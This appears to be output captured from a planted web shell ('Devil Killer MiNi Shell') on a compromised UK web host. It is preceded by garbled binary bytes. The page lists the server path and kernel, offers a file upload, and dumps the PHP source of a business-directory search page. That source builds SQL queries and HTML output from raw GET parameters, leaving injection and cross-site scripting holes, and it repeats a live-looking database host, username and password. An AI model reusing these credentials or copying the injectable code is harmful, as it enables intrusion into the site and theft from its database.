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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/b2432/rivalkingscross.co.uk/citidirect/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/b2432/rivalkingscross.co.uk/citidirect/search.php

<?php		
		/*----------------------------------------------------------------------------*/  
				$what=$_GET[what];
				$where=$_GET[where];
		/*----------------------------------------------------------------------------*/
		if (!$what && !$where)
			{echo "<script>window.location='http://www.citidirect.co.uk/cat2/$what/$where.html'</script>";}
		/*----------------------------------------------------------------------------*/
		if (!$what && $where)
			{echo "<script>window.location='http://www.citidirect.co.uk/browse/$where.html'</script>";}
		/*----------------------------------------------------------------------------*/
		$search=getcompany_plisting($what,$where,0,1);
		if (!$search)
	    {
			echo "<script>window.location='http://www.citidirect.co.uk/cat2/$what/$where.html'</script>";
	    }
		/*----------------------------------------------------------------------------*/  
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title><?php echo ucwords($where)." ".ucwords($what).", For ".ucwords($what)." in ".ucwords($where).", UK | CitiDirect Business Finder"; ?></title>
<meta name="keywords" content="<?php echo "{$search[1]['company_type']}";?>">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="http://www.citidirect.co.uk/style.css" rel="stylesheet" type="text/css">
<link rel="shortcut icon" href="/favicon.ico" />
<script type="text/JavaScript">
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadhttp://www.citidirect.co.uk/images() { //v3.0
  var d=document; if(d.http://www.citidirect.co.uk/images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadhttp://www.citidirect.co.uk/images.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>
</head>
<body onLoad="MM_preloadhttp://www.citidirect.co.uk/images('http://www.citidirect.co.uk/images/home_menu-a.jpg','http://www.citidirect.co.uk/images/products_menu-a.jpg','http://www.citidirect.co.uk/images/travel_menu-a.jpg','http://www.citidirect.co.uk/images/getlisted_menu.jpg','http://www.citidirect.co.uk/images/contact_menu-a.jpg')">
<table width="734" align="center" style="width:726px">
  <tr> 
    <td width="726" style="height:147px" align="center">
	 <br style="line-height:20px" /> 
	 <img src="http://www.citidirect.co.uk/images/logo.jpg" width="190" height="156">
	 <a href="http://www.citidirect.co.uk/"></a><a href="http://www.citidirect.co.uk/index.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image8','','http://www.citidirect.co.uk/images/home_menu-a.jpg',1)"><img src="http://www.citidirect.co.uk/images/home_menu.jpg" alt="Bussinesses in UK" name="Image8" width="104" height="103" border="0"></a>
	  <a href="http://www.citidirect.co.uk/products.php"></a><a href="http://www.citidirect.co.uk/products.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image9','','http://www.citidirect.co.uk/images/products_menu-a.jpg',1)"><img src="http://www.citidirect.co.uk/images/products_menu.jpg" alt="CitiDirect Products" name="Image9" width="105" height="103" border="0"></a><a href="http://www.citidirect.co.uk/services.php"></a><a href="http://www.citidirect.co.uk/services.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image10','','http://www.citidirect.co.uk/images/travel_menu-a.jpg',1)"><img src="http://www.citidirect.co.uk/images/travel_menu.jpg" alt="CitiDirect Services" name="Image10" width="104" height="103" border="0"></a><a href="http://www.citidirect.co.uk/getlisted.php"></a><a href="http://www.citidirect.co.uk/getlisted.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image11','','http://www.citidirect.co.uk/images/getlisted_menu-a.jpg',1)"><img src="http://www.citidirect.co.uk/images/getlisted_menu.jpg" alt="Get Listed" name="Image11" width="106" height="103" border="0"></a><a href="http://www.citidirect.co.uk/contact.php"></a><a href="http://www.citidirect.co.uk/contact.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image12','','http://www.citidirect.co.uk/images/contact_menu-a.jpg',1)"><img src="http://www.citidirect.co.uk/images/contact_menu.jpg" alt="Contact Us" name="Image12" width="103" height="103" border="0"></a><br />
	  &nbsp;<br />    
    </td>
  </tr>
  <tr style='mso-yfti-irow:3'>
  <td height="271" valign=top style='padding:0cm 0cm 0cm 0cm'>
  <table width="726" border="0" align="center">
    <tr>
	    <td valign="middle"background="http://www.citidirect.co.uk/images/backmenu.jpg" width="726" height="94">
	  	<p>&nbsp;</p>
	  	<p>
		<?php
		echo "
		<form action='http://www.citidirect.co.uk/search.php' method='get'>
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		<input type='text' name='what' tabindex='1' size='18' id='testinput'>
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		<input type='text' name='where' tabindex='2' size='18' id='testinput2'>
		<input type='image' src='http://www.citidirect.co.uk/images/SearchButtom.jpg' width='44' height='28' tabindex='3'>
		</span>
		</form>";
		?>
		</p>
		<p>&nbsp;</p>
	  </td>
    </tr>
  </table>
		<table width="726" align="center">
			<tr>
				<td background="http://www.citidirect.co.uk/images/main_top.gif" width="726" height="30">
					<div align="center">
				    <script type="text/javascript"><!--
					google_ad_client = "pub-7980814271857360";
					/* 468x15, created 27/10/09 */
					google_ad_slot = "7941954945";
					google_ad_width = 468;
					google_ad_height = 15;
					//-->
					</script>
					<script type="text/javascript"
					src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
					</script>
				  </div>
				</td>
			</tr>
			<tr>
				<td background="http://www.citidirect.co.uk/images/main_middle.gif" width="726" height="5">
					<table width="700" align="center">
						<tr>
							<td width="560" valign="top">
								<table width="100%">
									<tr>
										<td background="http://www.citidirect.co.uk/images/bdy_hdr.jpg" width="560" height="42" class="style33">
										<?php $what=$_GET[what];$where=$_GET[where]; echo"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Search results for <b>$what</b> in <b>$where</b>"; ?>
										<!-- AddThis Button BEGIN -->
										<a class="addthis_button" href="http://www.addthis.com/bookmark.php?v=250&amp;pub=xa-4b14df7d47695162"><img src="http://s7.addthis.com/static/btn/v2/lg-share-en.gif" width="125" height="16" alt="Bookmark and Share" style="border:0"/></a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pub=xa-4b14df7d47695162"></script>
										<!-- AddThis Button END -->
										</td>
									</tr>
									<tr>
										<td background='http://www.citidirect.co.uk/images/bdy_bdy.jpg' width='560' height='2'>
											<table width='520' align='center'>
												<tr>
													<td width='100%' valign='top'>
													<?php
				$what=$_GET[what];
				$where=$_GET[where];
				
		/*----------------------------------------------------------------------------*/
		if (!$what || !$where)
			{echo "<script>window.location='http://www.citidirect.co.uk/error.php?what=$what&where=$where'</script>";}
		/*----------------------------------------------------------------------------*/
		
		include("paginator.php");
	    $cstring="SELECT COUNT(*) FROM siv_morfeoshow WHERE category LIKE '%$what%' AND (county LIKE '%$where%' OR city LIKE '%$where%' OR town LIKE '%$where%' OR postcode LIKE '%,$where,%' AND published = '1' AND parent_site = '2' )";
		$conn=mysql_connect("infosurf.ipowermysql.com","public","alfadigital")
			or die("Could not connect");
		$database="tomato";
		$db=mysql_select_db($database,$conn);
		if (!$db)
		{
			die("Could not select database");
		}	    
	    $num_rows=mysql_result(mysql_query($cstring,$conn),0);
	    mysql_close($conn);
	    
	    $a = &new  Paginator($_GET['page'],$num_rows);
	    $a->set_Limit(10);
	    $a->set_Links(5);
	    
	    $limit1 = $a->getRange1();
	    $limit2 = $a->getRange2();
		
		$search=getcompany_plisting($what,$where,$limit1,$limit2);
		
        if (!$search)
	    {
			echo "<script>window.location='http://www.citidirect.co.uk/cat2/$what/$where.html'</script>";
	    }
		
   	    if ($search)
	    {
	    	/* Display results in a table */
			echo "
			<table border='0' cellspacing='0' width='520'>
			<tr>
				<td background='http://www.citidirect.co.uk/images/p_hdr.jpg' width='520' height='40' class='td10' colspan='2'>
					<a href='#' class='company_name_spotlight' target='_blank' style='text-decoration: none'>Sponsored Ads</a><br/>
				</td>
			</tr>
			<tr><td width='468' height='70' class='td12_1' align='top'>
				<script type=\"text/javascript\"><!--
				google_ad_client = \"pub-7980814271857360\";
				/* 468x60, created 27/10/09 */
				google_ad_slot = \"3090285579\";
				google_ad_width = 468;
				google_ad_height = 60;
				//-->
				</script>
				<script type=\"text/javascript\"
				src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\">
				</script>
						</td>
						<td rowspan='2' align='right' width='52' valign='middle' class='td11'>
							<div align=center'>
							<a href='#'><img src='http://www.citidirect.co.uk/images/googleads.gif' width='52' height='50' alt='' style='border:1px #CCCCCC'/></a>
							</div>
						</td>
					</tr>
				</table>
				<hr />
			";
	    	echo "<table border='0' cellspacing='0' width='520'>";
	    	for($i=1;$i<=sizeof($search);$i++)
	    	{
				if($search[$i][listing_type]=='1' && $search[$i]['published']=='1')
					{
					echo "<tr>
					<td background='http://www.citidirect.co.uk/images/p_hdr.jpg' width='520' height='40' class='td10' colspan='2'><a href='{$search[$i]['website']}' class='company_name_spotlight' target='_blank' style='text-decoration: none'>{$search[$i]['name']}</a><br/>
					{$search[$i]['tagline']}
					</td>
					</tr>
					<tr><td width='340' height='70' class='td12_1' align='top'>
						&nbsp;&nbsp;&nbsp;{$search[$i]['address']}<br>
						&nbsp;&nbsp;&nbsp;Tel:&nbsp;{$search[$i]['phone']}
						&nbsp;&nbsp;&nbsp;&nbsp;
						&nbsp;&nbsp;&nbsp;Fax:&nbsp;{$search[$i]['fax']}
						<br />&nbsp;&nbsp;					
						<strong>Options:</strong>
						<a href='http://www.multimap.com/maps/?hloc=GB|{$search[$i]['address']}' target='_blank' style='color:#555554; text-decoration:none;'>
						<img src='http://www.citidirect.co.uk/images/map.jpg' width='16' height='16' alt='See {$search[$i]['company_name']} on MultiMap' style='vertical-align:middle; border:none'> Map</a> | 
						<a href='mailto:{$search[$i]['email']}' target='_blank' style='color:#555554; text-decoration:none;'><img src='http://www.citidirect.co.uk/images/mail.jpg' width='16' height='16' alt='Send an email to {$search[$i]['email']}' style='vertical-align:middle; border:none'> Email</a> | 
						<a href='{$search[$i]['website']}' target='_blank' style='color:#555554; text-decoration:none;'><img src='http://www.citidirect.co.uk/images/website.jpg' width='16' height='16' alt='Go to {$search[$i]['company_name']}&acute;s Homepage' style='vertical-align:middle; border:none'> Website</a> | 
						<a href='info/info.php?ID={$search[$i]['company_id']}&top={$search[$i]['topbanner']}&bottom={$search[$i]['bottombanner']}&fcolor={$search[$i]['textcolor']}&long={$search[$i]['longtitude']}&lat={$search[$i]['latitude']}' target='_blank' style='color:#555554; text-decoration:none;'><img src='http://www.citidirect.co.uk/images/info.jpg' width='16' height='16' alt='See further information about {$search[$i]['company_name']}' style='vertical-align:middle; border:none'> Info</a>
						</td>
						<td rowspan='2' align='right' width='160' valign='middle' class='td11'>
							<div align=center'>
							<a href='{$search[$i]['website']}'><img src='http://www.citidirect.co.uk/listing_panel/images/morfeoshow/{$search[$i]['folder']}/{$search[$i]['shortcut_filename']}' width='160' height='50' alt='Visit {$search[$i]['name']}&acute;s Homepage' style='border:1px #CCCCCC'/></a>
							</div>
						</td>
					</tr>";
					echo "<tr><td colspan='2'><hr /></td></tr>";
				}
				else if($search[$i][listing_type]=='2' && $search[$i]['published']=='1')
				{
					echo "<tr>
					<td background='http://www.citidirect.co.uk/images/p_hdr.jpg' width='520' height='40' class='td10' colspan='2'><a href='{$search[$i]['website']}' class='company_name_spotlight' target='_blank' style='text-decoration: none'>{$search[$i]['name']}</a><br />
					<span class='company_strap_spotlight'>{$search[$i]['tagline']}</span>
					</td>
					</tr>
					<tr><td width='340' height='70' bgcolor='#ffffff' class='td12_1' align='top'>
						&nbsp;&nbsp;&nbsp;{$search[$i]['address']}<br>
						&nbsp;&nbsp;&nbsp;Tel:&nbsp;{$search[$i]['phone']}
						&nbsp;&nbsp;&nbsp;&nbsp;
						&nbsp;&nbsp;&nbsp;Fax:&nbsp;{$search[$i]['fax']}
						<br />&nbsp;&nbsp;					
						<strong>Options:</strong>
						<a href='http://www.multimap.com/maps/?hloc=GB|{$search[$i]['address']}' target='_blank' style='color:#555554; text-decoration:none;'>
						<img src='http://www.citidirect.co.uk/images/map.jpg' width='16' height='16' alt='See {$search[$i]['name']} on MultiMap' style='vertical-align:middle; border:none'> Map</a> | 
						<a href='mailto:{$search[$i]['email']}' target='_blank' style='color:#555554; text-decoration:none;'><img src='http://www.citidirect.co.uk/images/mail.jpg' width='16' height='16' alt='Send an email to {$search[$i]['email']}' style='vertical-align:middle; border:none'> Email</a> | 
						<a href='{$search[$i]['website']}' target='_blank' style='color:#555554; text-decoration:none;'><img src='http://www.citidirect.co.uk/images/website.jpg' width='16' height='16' alt='Go to {$search[$i]['company_name']}&acute;s Homepage' style='vertical-align:middle; border:none'> Website</a>
						</td>
						<td rowspan='2' align='right' width='160' valign='middle' class='td11'>
							<div align=center'>
							<a href='{$search[$i]['website']}'><img src='http://www.citidirect.co.uk/listing_panel/images/morfeoshow/{$search[$i]['folder']}/{$search[$i]['shortcut_filename']}' width='160' height='50' title=\"Visit {$search[$i]['name']} Homepage\" style='border:1px #CCCCCC'/></a>
							</div>
						</td>
					</tr>";
					echo "<tr><td colspan='2'><hr /></td></tr>";
				}
				if($i==5)
				{
					echo "
					<tr>
					<td width='520' colspan='2'>
						<table>
							<tr>
								<td>
									<script type=\"text/javascript\"><!--
									google_ad_client = \"pub-7980814271857360\";
									/* 250x250, created 27/10/09 */
									google_ad_slot = \"6710382533\";
									google_ad_width = 250;
									google_ad_height = 250;
									//-->
									</script>
									<script type=\"text/javascript\"
									src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\">
									</script>
								</td>
								<td style='padding-left:20px'>
									<script type=\"text/javascript\"><!--
									google_ad_client = \"pub-7980814271857360\";
									/* 250x250, created 27/10/09 */
									google_ad_slot = \"6710382533\";
									google_ad_width = 250;
									google_ad_height = 250;
									//-->
									</script>
									<script type=\"text/javascript\"
									src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\">
									</script>
								</td>
							</tr>
						</table>
						<br />
					</td>
					</tr>";
				}
			}
	    	echo "</table>";    
			
			if(sizeof($search)<10)
			{
			$cluster = 10 - sizeof($search);
			$search2=getcompany_elisting($what,$where);
			if (!$search2) {}
			else {
			/* Display results in a table */
	    	echo "<table border='0' cellspacing='0' width='520'>";
	    	echo "<tr><td colspan='2'></td></tr>";
			for($k=1;$k<=$cluster;$k++)
		    {
				if($search2[$k]['company_name'])
				{
					echo "<tr>
					<td background='http://www.citidirect.co.uk/images/p_hdr.jpg' width='520' height='40' class='td10' colspan='2'>{$search2[$k]['company_name']}</td>
					</tr>
					<tr><td width='340' height='70' bgcolor='#ffffff' class='td12_1' align='top'>
						&nbsp;&nbsp;&nbsp;{$search2[$k]['company_address']}<br>
						&nbsp;&nbsp;&nbsp;Tel:&nbsp;{$search2[$k]['phone_no']}
						<br />&nbsp;&nbsp;					
						<strong>Options:</strong>
						<a href='http://www.multimap.com/maps/?hloc=GB|{$search2[$k]['company_address']}' target='_blank' style='color:#555554; text-decoration:none;'>
						<img src='http://www.citidirect.co.uk/images/map.jpg' width='16' height='16' alt='See {$search[$k]['company_name']} on MultiMap' style='vertical-align:middle; border:none'> Map</a>
					</td>
					<td rowspan='2' align='right' width='160' valign='middle' class='td11'></td>
					</tr>";
					echo "<tr><td colspan='2'><hr /></td></tr>";
				}
			}
		    echo "</table>";
			}
		}
			
		//===========================================================================
		//This shows how to create your links using the output availiable from the
		//Paginator class.  It is a good example to study since it shows most of
		//the information that Paginator can output.
		//===========================================================================	
		         //check to see if current page is one. If so there will be no link.
				 echo "<font face='Arial' size='1' color='#ffffff'>";
	    	     if($a->getCurrent()==1)
		    	     {
		        	 //$first = "First | ";
			         } else { //$first="<a href=\"" .  $a->getPageName() . "?page=" . $a->getFirst() . "&SCT=$what&SAR=$where\" style='color:#666666'>First</a> |"; 
					 		}  
						 //check to see that getPrevious() is returning a value. If not there will be no link.
    		       if($a->getPrevious())
	    	     {
			         $prev = "<a href=\"http://www.citidirect.co.uk" .  $a->getPageName() . "?page=" . $a->getPrevious() . "&what=$what&where=$where\">&laquo; previous 10 results</a> | ";
		         } else { //$prev="Prev | "; 
				 		}
		       //check to see that getNext() is returning a value. If not there will be no link.
	         if($a->getNext())
		         {
		         $next = "<a href=\"http://www.citidirect.co.uk" . $a->getPageName() . "?page=" . $a->getNext() . "&what=$what&where=$where\">next 10 results &raquo;</a> ";
		         } else { //$next="Next | "; 
				 		}
		
		       //check to see that getLast() is returning a value. If not there will be no link.
		       if($a->getLast())
		         {
		         //$last = "<a href=\"" . $a->getPageName() . "?page=" . $a->getLast() . "&SCT=$what&SAR=$where\" style='color:#666666'>Last</a>";
		         } else {
				 		$temp2=getcompany_elisting($what,$where); 
				 		if ($temp2)
					 		{$last="<a href='http://www.citidirect.co.uk/cat2/$what/$where.html'>next 10 results &raquo;</a>"; }
						else 
					 		{//
					 		}
				 		}
						 //since these will always exist just print out the values.  Result will be
						 //something like 1 of 4 of 25
				echo "</font>";
		        echo "<table width='520' border='0' cellspacing='0' cellpadding='0'><tr><td class='td20'><div align='right'><span class='light_blue'><font size='2' face='Arial, Helvetica, sans-serif'>";  
				//echo "Showing " . $a->getFirstOf() . " to " .$a->getSecondOf() . " of total " . $a->getTotalItems() . " basic listings.";
							//print the values determined by the if statements above.
				//echo " &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
				//echo "</div>";
				//echo "<div align='right'>";  
		        //echo $first . " " . $prev . " " . $next . " " . $last;
				echo "<em>" . $prev . " " . $next . " " . $last . "</em>";
		        echo "<font></span></div></td></tr></table>";
					//==============================================================================
					//end of example    
	    }
    	?>								
													</td>
												</tr>
											</table>
										</td>
									</tr>
									<tr>
										<td background="http://www.citidirect.co.uk/images/bdy_ftr.jpg" width="560" height="24">&nbsp;</td>										
									</tr>
								</table>
							
														
							</td>
							<td width="140" valign="top">
								<table width="100%">
									<tr>
					<td background="http://www.citidirect.co.uk/images/banner_top.gif" width="140" height="20">&nbsp;</td>
				</tr>
				<tr>
					<td background="http://www.citidirect.co.uk/images/banner_middle.gif" width="140" height="2" valign="top">
					
						<table width="130" align="right">
							<tr>
								<td width="125" valign="top" align="center">
								 <?php
								  $sponsor = get_tile($what,$where);
								  if ($sponsor)
								  {
										echo "<a href='{$sponsor[1]['clickurl']}' target='_blank'><img src='http://www.citidirect.co.uk/listing_panel/images/banners/{$sponsor[1]['imageurl']}' width='120' alt='Go to {$sponsor[$i]['name']}&acute;s homepage at {$sponsor[$i]['clickurl']}' style='vertical-align:top; border:1px solid #000000;' /></a><p>&nbsp;</p>";
								  }
								?>
									</td></tr></table>
								
					</td>
						</tr>
						<tr>
							<td background="http://www.citidirect.co.uk/images/banner_down.gif" width="140" height="20"></td>
						</tr>
						</table>

				</td>
			</tr></table>
			<tr>
				<td background="http://www.citidirect.co.uk/images/main_bottom.gif" width="726" height="30" colspan="2">
					<div align="center"><span class="date"><a href="http://www.citidirect.co.uk/getlisted.php">Advertise with us</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="http://www.citidirect.co.uk/products.php">Choose your listing</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="http://www.citidirect.co.uk/offers/refer.php">See our latest special offers</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="http://www.citidirect.co.uk/services-hotels.php">Book a hotel</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="http://www.citidirect.co.uk/services.php">Book a flight </a></span>     </div>
				</td>
			</tr>
		</table>
      <table width="100%" height="42" border="0" cellpadding="0">
	    <tr> 
			<td height="10" width="90%">	</td>
		</tr>
        <tr> 
          <td width="90%" height="57" class="ftr nn"> <br /><div style="height:57px; background:url(http://www.citidirect.co.uk/images/ftr_bg_l.jpg) top left no-repeat"> 
              <div style="height:57px; background:url(http://www.citidirect.co.uk/images/ftr_bg_r.jpg) top right no-repeat;"> 
                <div style="margin:0px 0px 0px 19px;"> <br style="line-height:15px" />
                  <a href="http://www.citidirect.co.uk/index.php">Home</a> | <a href="http://www.citidirect.co.uk/products.php">Products</a> 
                  | <a href="http://www.citidirect.co.uk/services.php">Services</a> | <a href="http://www.citidirect.co.uk/getlisted.php">Get 
                  Listed</a> | <a href="http://www.citidirect.co.uk/contact.php">Contact Us </a><br />
                  <font color="#666666">CitiDirect.co.uk &copy; 2008.</font><font color="#666666"> | <a href="http://www.citidirect.co.uk/family.php">CitiDirect.co.uk Family</a> </font> | <a href="http://www.citidirect.co.uk/links.php">Links</a> | <a href="http://www.citidirect.co.uk/policy.php">Privacy 
                  Policy</a> | <a href="http://www.citidirect.co.uk/use.php">Terms Of Use</a> </div>
              </div>
            </div></td>
          <td width="10%"><a href="index.php"><img src="http://www.citidirect.co.uk/images/logo.jpg" width="68" height="56" border="0"></a></td>
        </tr>
      </table>
      <p>&nbsp;</p></td>
  </tr>
</table>
<p>&nbsp;</p>
<table align="center">
<tr><td style="border:dashed 1px #CCCCCC; padding-top:10px; padding-left:10px; padding-right:10px;"><h5><a href="http://www.citidirect.co.uk/til/removals-in-london.html" target="_blank" title="Removals in London">Removals in London</a></h5></td>
</tr></table>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-2215818-7";
urchinTracker();
</script>
</body>
</html>

<?php
function getcompany_plisting($what,$where,$limit1,$limit2)
{
	$conn=mysql_connect("infosurf.ipowermysql.com","public","alfadigital")
	or die("Could not connect");
	$database="tomato";
	$db=mysql_select_db($database,$conn);
	if (!$db)
	{
		die("Could not select database");
	}
	$query="SELECT * FROM siv_morfeoshow WHERE category LIKE '%$what%' AND (county LIKE '%$where%' OR city LIKE '%$where%' OR town LIKE '%$where%' OR postcode LIKE '%,$where,%') AND published='1' AND parent_site = '2' ORDER BY RAND() LIMIT $limit1,$limit2";
	//$query="SELECT * FROM plisting WHERE city_name LIKE '%$city%'";
	$result=mysql_query($query,$conn)
	or die("Could not execute query");

	$j=1;
	while ($row=mysql_fetch_assoc($result))
	{
		foreach ($row as $colname => $value)
		{
			$array_multi[$j][$colname]=$value;
		}
		$j++;
	}
	mysql_close($conn);
	return $array_multi;
}
?>

<?php
function getcompany_elisting($what,$where)
{
	$conn=mysql_connect("infosurf.ipowermysql.com","public","alfadigital")
	or die("Could not connect");
	$database="tomato";
	$db=mysql_select_db($database,$conn);
	if (!$db)
	{
		die("Could not select database");
	}
	$query="SELECT * FROM freelisting WHERE company_type LIKE '%$what%' AND (county_name LIKE '%$where%' OR city_name LIKE '%$where%' OR town_name LIKE '%$where%' OR pc_search LIKE '$where') ORDER BY RAND() LIMIT 0,10";
	//$query="SELECT * FROM elisting WHERE company_type LIKE '%$what%' AND (company_address LIKE '% $where %' OR company_area LIKE '%$where%') ORDER BY RAND() LIMIT 0,10";
	//$query="SELECT * FROM elisting WHERE city_name LIKE '%$city%'";
	$result=mysql_query($query,$conn)
	or die("Could not execute query");

	$j=1;
	while ($row=mysql_fetch_assoc($result))
	{
		foreach ($row as $colname => $value)
		{
			$array_multi[$j][$colname]=$value;
		}
		$j++;
	}
	mysql_close($conn);
	return $array_multi;
}
?>

<?php
function get_tile($what,$where)
{
	$conn=mysql_connect("infosurf.ipowermysql.com","public","alfadigital")
	or die("Could not connect");
	$database="tomato";
	$db=mysql_select_db($database,$conn);
	if (!$db)
	{
		die("Could not select database");
	}
	$query="SELECT name,imageurl,clickurl,showbanner,custombannercode,description FROM siv_banner WHERE description LIKE '%$what%' AND custombannercode LIKE '%,$where,%' AND showbanner='1' AND catid='35' AND parent='2' ORDER BY RAND()";
	//$query="SELECT * FROM plisting WHERE city_name LIKE '%$city%'";
	$result=mysql_query($query,$conn)
	or die("Could not execute query");

	$j=1;
	while ($row=mysql_fetch_assoc($result))
	{
		foreach ($row as $colname => $value)
		{
			$array_multi[$j][$colname]=$value;
		}
		$j++;
	}
	mysql_close($conn);
	return $array_multi;
}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com